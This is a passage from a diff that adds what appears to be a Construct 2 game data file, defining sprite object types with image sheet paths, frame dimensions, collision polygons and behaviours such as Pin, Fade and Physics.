+ 61,
+ 1,
+ 0.5087719559669495,
+ 0.6721311211585999,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 926366127420295,
+ [],
+ null
+ ],
+ [
+ "t118",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 562606495922478,
+ [
+ [
+ "images/sprite122-sheet0.png",
+ 5518,
+ 0,
+ 0,
+ 256,
+ 85,
+ 1,
+ 0.4921875,
+ 0.5058823823928833,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 328150808849650,
+ [],
+ null
+ ],
+ [
+ "t119",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 196186379480307,
+ [
+ [
+ "images/sprite122-sheet0.png",
+ 5518,
+ 0,
+ 0,
+ 256,
+ 85,
+ 1,
+ 0.4921875,
+ 0.5058823823928833,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 676268708600606,
+ [],
+ null
+ ],
+ [
+ "t120",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 317709543233169,
+ [
+ [
+ "images/sprite122-sheet0.png",
+ 5518,
+ 0,
+ 0,
+ 256,
+ 85,
+ 1,
+ 0.4921875,
+ 0.5058823823928833,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 840814040085769,
+ [],
+ null
+ ],
+ [
+ "t121",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 277636585355363,
+ [
+ [
+ "images/sprite223-sheet0.png",
+ 986,
+ 0,
+ 0,
+ 800,
+ 480,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 3
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 655449764850898,
+ [],
+ null
+ ],
+ [
+ "t122",
+ 12,
+ false,
+ [],
+ 2,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 723137356938875,
+ [
+ [
+ "images/sprite201-sheet0.png",
+ 182,
+ 0,
+ 0,
+ 383,
+ 8,
+ 1,
+ 0.5013054609298706,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 838350184266056
+ ],
+ [
+ "Sine",
+ 13,
+ 887622920899087
+ ]
+ ],
+ false,
+ false,
+ 321319227785182,
+ [],
+ null
+ ],
+ [
+ "t123",
+ 5,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/particles41.png",
+ 241,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 231369398691194
+ ]
+ ],
+ false,
+ false,
+ 970738484182374,
+ [],
+ null
+ ],
+ [
+ "t124",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 40,
+ true,
+ 1,
+ 0,
+ false,
+ 515267771075585,
+ [
+ [
+ "images/sprite249-sheet0.png",
+ 94963,
+ 1,
+ 1,
+ 500,
+ 525,
+ 1,
+ 0.4480000138282776,
+ 0.8819047808647156,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite249-sheet0.png",
+ 94963,
+ 503,
+ 1,
+ 500,
+ 525,
+ 1,
+ 0.4480000138282776,
+ 0.8819047808647156,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite249-sheet1.png",
+ 83239,
+ 1,
+ 1,
+ 500,
+ 525,
+ 1,
+ 0.4480000138282776,
+ 0.8819047808647156,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite249-sheet1.png",
+ 83239,
+ 503,
+ 1,
+ 500,
+ 525,
+ 1,
+ 0.4480000138282776,
+ 0.8819047808647156,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite249-sheet2.png",
+ 15127,
+ 0,
+ 0,
+ 500,
+ 525,
+ 1,
+ 0.4480000138282776,
+ 0.8819047808647156,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 523879108551132
+ ]
+ ],
+ false,
+ false,
+ 589975903456550,
+ [],
+ null
+ ],
+ [
+ "t125",
+ 5,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/particles41.png",
+ 241,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 461721564433676
+ ]
+ ],
+ false,
+ false,
+ 996326359780185,
+ [],
+ null
+ ],
+ [
+ "t126",
+ 5,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/particles41.png",
+ 241,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 973123408891985
+ ]
+ ],
+ false,
+ false,
+ 671513469393983,
+ [],
+ null
+ ],
+ [
+ "t127",
+ 5,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/particles41.png",
+ 241,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 985738307330643
+ ]
+ ],
+ false,
+ false,
+ 487491991185201,
+ [],
+ null
+ ],
+ [
+ "t128",
+ 5,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/particles41.png",
+ 241,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 770778120488074
+ ]
+ ],
+ false,
+ false,
+ 457345774440908,
+ [],
+ null
+ ],
+ [
+ "t129",
+ 5,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/particles41.png",
+ 241,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 473236560977151
+ ]
+ ],
+ false,
+ false,
+ 152332553562579,
+ [],
+ null
+ ],
+ [
+ "t130",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 765108395121151,
+ [
+ [
+ "images/sprite318-sheet0.png",
+ 593,
+ 0,
+ 0,
+ 72,
+ 39,
+ 1,
+ 0.5,
+ 0.5128205418586731,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "LiteTween",
+ 21,
+ 205117527295765
+ ]
+ ],
+ false,
+ false,
+ 781649397815500,
+ [],
+ null
+ ],
+ [
+ "t131",
+ 5,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/particles41.png",
+ 241,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 241668505248863
+ ]
+ ],
+ false,
+ false,
+ 768759243417396,
+ [],
+ null
+ ],
+ [
+ "t132",
+ 5,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/particles41.png",
+ 241,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 609392421354697
+ ]
+ ],
+ false,
+ false,
+ 954660050859879,
+ [],
+ null
+ ],
+ [
+ "t133",
+ 5,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/particles41.png",
+ 241,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 870366071369211
+ ]
+ ],
+ false,
+ false,
+ 656455948791680,
+ [],
+ null
+ ],
+ [
+ "t134",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 206057909609745,
+ [
+ [
+ "images/restarted3-sheet0.png",
+ 1378,
+ 0,
+ 0,
+ 195,
+ 70,
+ 1,
+ 0.5076923370361328,
+ 0.5,
+ [],
+ [
+ -0.4256410300731659,
+ -0.357142984867096,
+ 0.3948706388473511,
+ -0.357142984867096,
+ 0.3948706388473511,
+ 0.3000010251998901,
+ -0.4256410300731659,
+ 0.3000010251998901
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Pin",
+ 14,
+ 847828581334135
+ ]
+ ],
+ false,
+ false,
+ 156814448714676,
+ [],
+ null
+ ],
+ [
+ "t135",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 176257107968999,
+ [
+ [
+ "images/text2-sheet0.png",
+ 920,
+ 0,
+ 0,
+ 167,
+ 23,
+ 1,
+ 0.5029940009117126,
+ 0.52173912525177,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 556684122427972
+ ]
+ ],
+ false,
+ false,
+ 834302113368609,
+ [],
+ null
+ ],
+ [
+ "t136",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 193618458951788,
+ [
+ [
+ "images/text3-sheet0.png",
+ 1034,
+ 0,
+ 0,
+ 190,
+ 23,
+ 1,
+ 0.5052631497383118,
+ 0.52173912525177,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 554583383163998
+ ]
+ ],
+ false,
+ false,
+ 605798338272998,
+ [],
+ null
+ ],
+ [
+ "t137",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 860566069131670,
+ [
+ [
+ "images/text4-sheet0.png",
+ 1118,
+ 0,
+ 0,
+ 208,
+ 23,
+ 1,
+ 0.5144230723381042,
+ 0.52173912525177,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 307024407790605
+ ]
+ ],
+ false,
+ false,
+ 466921219533444,
+ [],
+ null
+ ],
+ [
+ "t138",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 291904210037125,
+ [
+ [
+ "images/text5-sheet0.png",
+ 1172,
+ 0,
+ 0,
+ 271,
+ 23,
+ 1,
+ 0.5276752710342407,
+ 0.52173912525177,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Fade",
+ 18,
+ 960215836491275
+ ]
+ ],
+ false,
+ false,
+ 518155324414412,
+ [],
+ null
+ ],
+ [
+ "t139",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 910041046602934,
+ [
+ [
+ "images/bar-sheet0.png",
+ 261,
+ 0,
+ 0,
+ 381,
+ 17,
+ 1,
+ 0.002624671906232834,
+ 0.529411792755127,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 642437856244879,
+ [],
+ null
+ ],
+ [
+ "t140",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 661570393523141,
+ [
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 753,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 478508300606274,
+ [],
+ null
+ ],
+ [
+ "t141",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 187819003585908,
+ [
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 753,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 682449064404076,
+ [],
+ null
+ ],
+ [
+ "t142",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 260807870334809,
+ [
+ [
+ "images/sprite7-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 675503396737441
+ ]
+ ],
+ false,
+ false,
+ 922816391655139,
+ [],
+ null
+ ],
+ [
+ "t143",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 759850714693218,
+ [
+ [
+ "images/sprite8-sheet0.png",
+ 1786,
+ 0,
+ 0,
+ 120,
+ 120,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.4583333134651184,
+ -0.4583333134651184,
+ 0.4583330154418945,
+ -0.4583333134651184,
+ 0.4583330154418945,
+ 0.449999988079071,
+ -0.4583333134651184,
+ 0.449999988079071
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 741884835587080
+ ]
+ ],
+ false,
+ false,
+ 636017166279658,
+ [],
+ null
+ ],
+ [
+ "t144",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 732075109679308,
+ [
+ [
+ "images/sprite12-sheet0.png",
+ 152036,
+ 0,
+ 0,
+ 800,
+ 480,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 550247005985469,
+ [],
+ null
+ ],
+ [
+ "t145",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 246826921059502,
+ [
+ [
+ "images/sprite19-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 153169087317851,
+ [],
+ null
+ ],
+ [
+ "t146",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 957568756190964,
+ [
+ [
+ "images/sprite20-sheet0.png",
+ 14311,
+ 0,
+ 0,
+ 799,
+ 19,
+ 1,
+ 0.5006257891654968,
+ 0.5263158082962036,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 467978558493938,
+ [],
+ null
+ ],
+ [
+ "t147",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 433750443017997,
+ [
+ [
+ "images/sprite21-sheet0.png",
+ 2175,
+ 0,
+ 0,
+ 99,
+ 19,
+ 1,
+ 0.5050504803657532,
+ 0.5263158082962036,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 757151150657717,
+ [],
+ null
+ ],
+ [
+ "t148",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 170438702571996,
+ [
+ [
+ "images/sprite23-sheet0.png",
+ 63300,
+ 0,
+ 0,
+ 904,
+ 196,
+ 1,
+ 0.607300877571106,
+ 0.5918367505073547,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 530628681015863,
+ [],
+ null
+ ],
+ [
+ "t149",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 925611094492247,
+ [
+ [
+ "images/sprite26-sheet0.png",
+ 6349,
+ 0,
+ 0,
+ 239,
+ 110,
+ 1,
+ 0.5020920634269714,
+ 0.5090909004211426,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 374682001047939,
+ [],
+ null
+ ],
+ [
+ "t150",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 745872364910451,
+ [
+ [
+ "images/camer-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "ScrollTo",
+ 20,
+ 832558016723754
+ ]
+ ],
+ false,
+ false,
+ 606983218138341,
+ [],
+ null
+ ],
+ [
+ "t151",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 490222547121798,
+ [
+ [
+ "images/sprite36-sheet0.png",
+ 6013,
+ 0,
+ 0,
+ 256,
+ 85,
+ 1,
+ 0.4921875,
+ 0.5058823823928833,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 555704490888622,
+ [],
+ null
+ ],
+ [
+ "t152",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 832322103521493,
+ [
+ [
+ "images/sprite36-sheet0.png",
+ 6013,
+ 0,
+ 0,
+ 256,
+ 85,
+ 1,
+ 0.4921875,
+ 0.5058823823928833,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 993298974817671,
+ [],
+ null
+ ],
+ [
+ "t153",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 497625268639978,
+ [
+ [
+ "images/sprite36-sheet0.png",
+ 6013,
+ 0,
+ 0,
+ 256,
+ 85,
+ 1,
+ 0.4921875,
+ 0.5058823823928833,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 276705224395578,
+ [],
+ null
+ ],
+ [
+ "t154",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 158544527888867,
+ [
+ [
+ "images/sprite39-sheet0.png",
+ 89262,
+ 0,
+ 0,
+ 600,
+ 589,
+ 1,
+ 0.5,
+ 0.5008488893508911,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 122550053997236,
+ [],
+ null
+ ],
+ [
+ "t155",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 116175770541421,
+ [
+ [
+ "images/sprite7-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 470379695108939,
+ [],
+ null
+ ],
+ [
+ "t156",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "rampa1",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 658843701955255,
+ [
+ [
+ "images/sprite50-sheet0.png",
+ 7426,
+ 0,
+ 0,
+ 600,
+ 600,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.3666670024394989,
+ -0.1458329856395721,
+ -0.3016660213470459,
+ -0.1087499856948853,
+ -0.2308329939842224,
+ -0.07270899415016174,
+ -0.184583991765976,
+ -0.05302101373672485,
+ -0.1331250071525574,
+ -0.0356769859790802,
+ -0.08322900533676147,
+ -0.02117198705673218,
+ -0.03328099846839905,
+ -0.009752988815307617,
+ 0.02002602815628052,
+ -0.003210008144378662,
+ 0.07918000221252441,
+ -0.0007719993591308594,
+ 0.1362569928169251,
+ -0.00371900200843811,
+ 0.1872950196266174,
+ -0.01352599263191223,
+ 0.2394809722900391,
+ -0.0317629873752594,
+ 0.2905740141868591,
+ -0.05838200449943543,
+ 0.3269540071487427,
+ -0.08835801482200623,
+ 0.3608329892158508,
+ -0.1225000023841858,
+ 0.5,
+ 0.5,
+ -0.5,
+ 0.5
+ ],
+ 0
+ ]
+ ]
+ ],
+ [
+ "rampa2",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 646334178434882,
+ [
+ [
+ "images/sprite50-sheet1.png",
+ 16549,
+ 0,
+ 0,
+ 600,
+ 600,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.3383339941501617,
+ -0.1941660046577454,
+ -0.2749989926815033,
+ -0.1487500071525574,
+ -0.2091659903526306,
+ -0.1043759882450104,
+ -0.1545839905738831,
+ -0.06635400652885437,
+ -0.1064580082893372,
+ -0.04234400391578674,
+ -0.06156200170516968,
+ -0.0228390097618103,
+ -0.01494801044464111,
+ -0.006419986486434937,
+ 0.06335902214050293,
+ 0.01178997755050659,
+ 0.1258469820022583,
+ 0.01922798156738281,
+ 0.1945899724960327,
+ 0.01628100872039795,
+ 0.2639619708061218,
+ 0.00147402286529541,
+ 0.3228139877319336,
+ -0.02009600400924683,
+ 0.3689069747924805,
+ -0.05671501159667969,
+ 0.5,
+ 0.5,
+ -0.5,
+ 0.5
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 291301825956360
+ ]
+ ],
+ false,
+ false,
+ 641753002017803,
+ [],
+ null
+ ],
+ [
+ "t157",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 792042039324264,
+ [
+ [
+ "images/sprite59-sheet0.png",
+ 48714,
+ 0,
+ 0,
+ 800,
+ 800,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 404504442781901,
+ [],
+ null
+ ],
+ [
+ "t158",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 978799347597102,
+ [
+ [
+ "images/sprite112-sheet0.png",
+ 13617,
+ 0,
+ 0,
+ 228,
+ 61,
+ 1,
+ 0.5043859481811523,
+ 0.5737704634666443,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 784705806273307,
+ [],
+ null
+ ],
+ [
+ "t159",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 760334043712663,
+ [
+ [
+ "images/sprite40-sheet0.png",
+ 111444,
+ 753,
+ 1,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 578550684775953,
+ [],
+ null
+ ],
+ [
+ "t160",
+ 5,
+ false,
+ [],
+ 0,
+ 0,
+ [
+ "images/particles.png",
+ 2635,
+ 0
+ ],
+ null,
+ [],
+ false,
+ false,
+ 302396579509365,
+ [],
+ null
+ ],
+ [
+ "t161",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 547839392697565,
+ [
+ [
+ "images/sprite63-sheet0.png",
+ 190753,
+ 0,
+ 0,
+ 1496,
+ 417,
+ 1,
+ 0.5,
+ 1.24220621585846,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 627879523491536,
+ [],
+ null
+ ],
+ [
+ "t162",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 243946089607658,
+ [
+ [
+ "images/sprite64-sheet0.png",
+ 43439,
+ 0,
+ 0,
+ 796,
+ 152,
+ 1,
+ 0.5,
+ 2.53947377204895,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 202504610467112,
+ [],
+ null
+ ],
+ [
+ "t163",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 913631662292139,
+ [
+ [
+ "images/sprite8-sheet0.png",
+ 1786,
+ 0,
+ 0,
+ 120,
+ 120,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [
+ -0.4583333134651184,
+ -0.4583333134651184,
+ 0.4583330154418945,
+ -0.4583333134651184,
+ 0.4583330154418945,
+ 0.4583330154418945,
+ -0.4583333134651184,
+ 0.4583330154418945
+ ],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Physics",
+ 16,
+ 178247008410137
+ ]
+ ],
+ false,
+ false,
+ 818139294490322,
+ [],
+ null
+ ],
+ [
+ "t164",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 560879821678812,
+ [
+ [
+ "images/sprite70-sheet0.png",
+ 155,
+ 0,
+ 0,
+ 250,
+ 250,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 1
+ ]
+ ]
+ ]
+ ],
+ [],
+ false,
+ false,
+ 917771775896889,
+ [],
+ null
+ ],
+ [
+ "t165",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont.png",
+ 4846,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 891577421091340
+ ]
+ ],
+ false,
+ false,
+ 679365414683466,
+ [],
+ null
+ ],
+ [
+ "t166",
+ 9,
+ false,
+ [],
+ 1,
+ 0,
+ [
+ "images/livefont.png",
+ 4846,
+ 0
+ ],
+ null,
+ [
+ [
+ "Pin",
+ 14,
+ 345340139686092
+ ]
+ ],
+ false,
+ false,
+ 771731628136838,
+ [],
+ null
+ ],
+ [
+ "t167",
+ 12,
+ false,
+ [],
+ 1,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 5,
+ false,
+ 1,
+ 0,
+ false,
+ 780938714388132,
+ [
+ [
+ "images/sprite81-sheet0.png",
+ 23840,
+ 0,
+ 0,
+ 514,
+ 181,
+ 1,
+ 0.4941634237766266,
+ 1.436464071273804,
+ [],
+ [],
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ "Sine",
+ 13,
+ 752923015236042
+ ]
+ ],
+ false,
+ false,
+ 197697662704466,
+ [],
+ null
+ ],
+ [
+ "t168",
+ 12,
+ false,
+ [],
+ 0,
+ 0,
+ null,
+ [
+ [
+ "Default",
+ 30,
+ false,
+ 1,
+ 0,
+ false,
+ 747039637946326,
+ [
+ [
+ "images/sprite87-sheet0.png",
+ 47226,
+ 1,
+ 1,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet0.png",
+ 47226,
+ 375,
+ 1,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet0.png",
+ 47226,
+ 1,
+ 319,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet0.png",
+ 47226,
+ 375,
+ 319,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet0.png",
+ 47226,
+ 1,
+ 637,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet0.png",
+ 47226,
+ 375,
+ 637,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet1.png",
+ 84540,
+ 1,
+ 1,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet1.png",
+ 84540,
+ 375,
+ 1,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet1.png",
+ 84540,
+ 1,
+ 319,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet1.png",
+ 84540,
+ 375,
+ 319,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet1.png",
+ 84540,
+ 1,
+ 637,
+ 372,
+ 316,
+ 1,
+ 0.5,
+ 0.5,
+ [],
+ [],
+ 0
+ ],
+ [
+ "images/sprite87-sheet1.png",
+ 84540,
+ 375,
+ 637,
+ 372,
+ 316,
+ 1,
